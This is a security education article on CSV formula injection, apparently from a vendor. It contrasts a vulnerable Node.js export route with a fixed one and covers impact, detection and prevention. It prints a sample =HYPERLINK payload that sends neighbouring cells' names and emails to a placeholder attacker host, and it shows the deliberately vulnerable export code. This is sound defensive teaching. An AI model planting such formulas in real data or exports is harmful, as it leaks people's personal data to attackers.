CSV injection in export files
CWE-1236OWASP A03:2021Updated September 4, 20265 min read
If a cell value in an exported file starts with an equals sign or a plus sign, Excel treats it as a formula and runs it on opening. An attacker who can leave such text in your application gets their formula running on the machine of the employee who opens the export, outside your application and outside your view.
Most injection attacks aim at your server. CSV injection does something unusual: the code runs not on your machine but on the laptop of the colleague who opens the export. Your application is not the target but the means of transport, and that is exactly what makes the attack effective and hard to spot. The chain is short, and there is a clear place to break it.
What is CSV injection?
CSV injection, also called formula injection, exploits a property of spreadsheet programs: a cell starting with an equals sign is read not as text but as a formula, and that formula is executed the moment the file is opened. The same applies to cells starting with a plus sign, a minus sign or an at sign.
A CSV file has no types. It contains only text separated by commas; the program opening it decides what each value means. If an attacker manages to leave text somewhere in your application that later ends up in an export, they thereby determine the contents of a cell, and therefore possibly a formula.
It resembles a form you fill in that is later read by a machine treating certain notations as instructions. You dutifully enter your name; someone else enters an instruction. The machine sees no difference, because both are just characters in a box.
How does a CSV injection attack unfold?
The attack is strikingly indirect and runs in three steps that sometimes sit weeks apart.
Vulnerable:
// Values are glued together unchanged
app.get('/admin/registrations.csv', async (req, res) => {
const rows = await registrations.all();
const csv = ['name,email,comment']
.concat(rows.map((r) => `${r.name},${r.email},${r.comment}`))
.join('\n');
res.set('Content-Type', 'text/csv');
res.send(csv);
});
In a public registration form, the attacker enters the following in the “name” field:
=HYPERLINK("https://malicious.example/x?d="&A2&B2,"Click for details")
Nothing unusual happens in the application itself; it is a strange name in a list. But when an employee later opens the export, they see a tidy link in that cell. If they click it, the contents of the surrounding cells, names and email addresses of other registrants, are sent as a parameter to the attacker’s server.
Heavier variants exist. With a formula invoking an external application, a spreadsheet program can be induced to run a command on the workstation. Modern versions show a warning, but that warning appears in a file the user downloaded themselves from a trusted system, and then it gets clicked.
Safe:
const DANGEROUS = ['=', '+', '-', '@', '\t', '\r'];
function safeCell(value) {
let text = String(value ?? '');
// Neutralise a leading character that could be read as a formula
if (DANGEROUS.includes(text[0])) {
text = `'${text}`;
}
// Only then apply the ordinary CSV rules
return `"${text.replace(/"/g, '""')}"`;
}
app.get('/admin/registrations.csv', async (req, res) => {
const rows = await registrations.all();
const csv = ['name,email,comment']
.concat(rows.map((r) => [r.name, r.email, r.comment].map(safeCell).join(',')))
.join('\n');
res.set('Content-Type', 'text/csv; charset=utf-8');
res.set('Content-Disposition', 'attachment; filename="registrations.csv"');
res.send('' + csv);
});
The leading character is now preceded by an apostrophe, which makes the spreadsheet program treat the cell as text. Only after that comes the ordinary escaping for the CSV format, because the two are not the same: quotes protect against a shifted column, not against a formula.
The more robust route is not to write CSV at all but a real spreadsheet file, where you record per cell that the contents are text. Then there is no interpretation left to go wrong.
What is the impact of CSV injection?
The severity runs from medium to high, depending mainly on who opens the export and with what rights. What sets the finding apart is that the damage falls outside your application.
The most common consequence is data leaking from the export file itself. A formula can process the contents of other cells into an external call, leaking exactly the data in that file, often a complete list of customers or employees.
It becomes more serious when the spreadsheet program is induced to start an external process. The attack then moves to the employee’s workstation, with their rights and inside your internal network. That is precisely the sort of foothold an attacker uses to move further through an organisation. And because exports are usually opened by administrators or staff with a broad overview, it is rarely a random workstation.
What makes detection difficult: nothing happened in your application. The input was saved neatly, the export generated neatly. The incident takes place on a laptop, in a program you do not manage.
How do you detect CSV injection?
A tester first inventories which data users can supply that later ends up in an export: registration forms, contact requests, comment fields, profile data, and also values arriving through an API or an integration.
An innocuous test formula is then placed in those fields and the export downloaded to see whether the leading character survived. A formula sitting as text in the file without a preceding apostrophe is a confirmed finding, since execution happens at the recipient and need not be demonstrated to establish the risk. Every export route is examined separately, because applications often have several and they are rarely written by the same developer. The same applies to reports sent by email and files written automatically to a shared folder. AssistSec also covers the opposite direction: files your application reads in deserve the same treatment.
How do you prevent CSV injection?
- Place an apostrophe before every cell value starting with
=,+,-,@, a tab or a carriage return when exporting. - Perform that step when generating the file, not when saving the input.
- Apply the ordinary CSV rules as well by doubling quotes correctly.
- Generate a real spreadsheet file where you set cell types explicitly to text.
- Treat all export routes alike, including emailed reports and automated output.
- Send exports with
Content-Disposition: attachmentand an explicit character set. - Apply the same check to data arriving through APIs or integrations, not only to web forms.
- Tell staff to take warnings from their spreadsheet program seriously, even for a trusted file.
Sources
Frequently asked questions
Is this my problem if the spreadsheet program executes it?
Yes. Your application delivers the file and your user trusts it for exactly that reason. That the execution happens elsewhere does not make the chain less your responsibility; it only makes it harder to see in your own logs.
Which characters must I catch?
The classic ones are the equals sign, the plus sign, the minus sign and the at sign at the start of a cell. Add tab and carriage return, because those can shift the cell so a following character ends up first. Always judge the first visible character.
Does wrapping values in quotes help?
No. Quotes are part of the CSV format and delimit the field; they are removed on reading. The formula then simply sits at the front of the cell and still executes. You have to neutralise the first character yourself.
Is a real XLSX file safer?
In the sense that you then explicitly decide whether a cell is text or a formula, which rules the attack out structurally. That is also the most robust solution: write with a spreadsheet library and set cell types explicitly to text, rather than gluing commas together.
Related articles
- VulnerabilitiesCWE-78A03:2021OS command injectionOS command injection explained: how shell metacharacters reach a system call, what an attacker gains, and why argument arrays without a shell fix it.
- VulnerabilitiesCWE-79A03:2021Cross-site scripting (XSS)Cross-site scripting (XSS) lets attackers inject malicious scripts into web pages that run in visitors' browsers. Learn how XSS works and how to prevent it.
- VulnerabilitiesCWE-200A01:2021Information disclosureInformation disclosure explained: how stack traces, .git directories, source maps and over-sharing API responses leak data, and how to stop it.
- VulnerabilitiesCWE-20A04:2021Input validation missing on the serverValidation that only happens in JavaScript can be bypassed with one direct request. Learn why the server must check every value again.